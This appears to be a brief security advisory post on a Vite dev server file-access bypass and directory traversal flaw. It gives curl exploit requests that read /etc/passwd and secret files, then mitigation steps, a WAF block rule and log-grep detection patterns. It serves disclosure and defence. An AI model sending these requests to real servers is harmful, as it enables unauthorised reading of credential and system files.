Listen to this Post
How the CVE Works
Vite’s `server.fs.deny` protection can be bypassed using crafted `.svg` requests or relative paths. When a malicious request appends ?.svg, ?.wasm?init, or manipulates the `sec-fetch-dest: script` header, Vite fails to enforce file access restrictions. Additionally, improper path normalization allows attackers to traverse directories (e.g., ../../) and read sensitive files like /etc/passwd. This affects Vite dev servers exposed via `–host` or server.host.
DailyCVE Form
Platform: Vite
Version: 4.0.0-6.2.4
Vulnerability: Directory Traversal
Severity: Critical
Date: 2025-04-04
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl 'http://vite-server:5173/etc/passwd?.svg?.wasm?init' curl 'http://vite-server:5173/@fs/../../../../../etc/passwd?import&?raw'
2. Bypass via Headers:
curl -H "sec-fetch-dest: script" 'http://vite-server:5173/secret-file?.svg'
Mitigation:
1. Update Vite:
npm install [email protected]
2. Restrict Dev Server Access:
// vite.config.js
export default {
server: {
host: false // Disable network exposure
}
}
3. WAF Rules:
location / {
if ($args ~ ".svg|.wasm|import|raw") { return 403; }
}
Detection:
1. Log Analysis:
grep -E '.svg\?|.wasm\?init|../' /var/log/vite-access.log
2. File Integrity Checks:
find /etc -mmin -5 -type f -exec ls -la {} \;
References:
No additional commentary.
References:
Reported By: https://github.com/advisories/GHSA-xcj6-pq6g-qj4x
Extra Source Hub:
Undercode
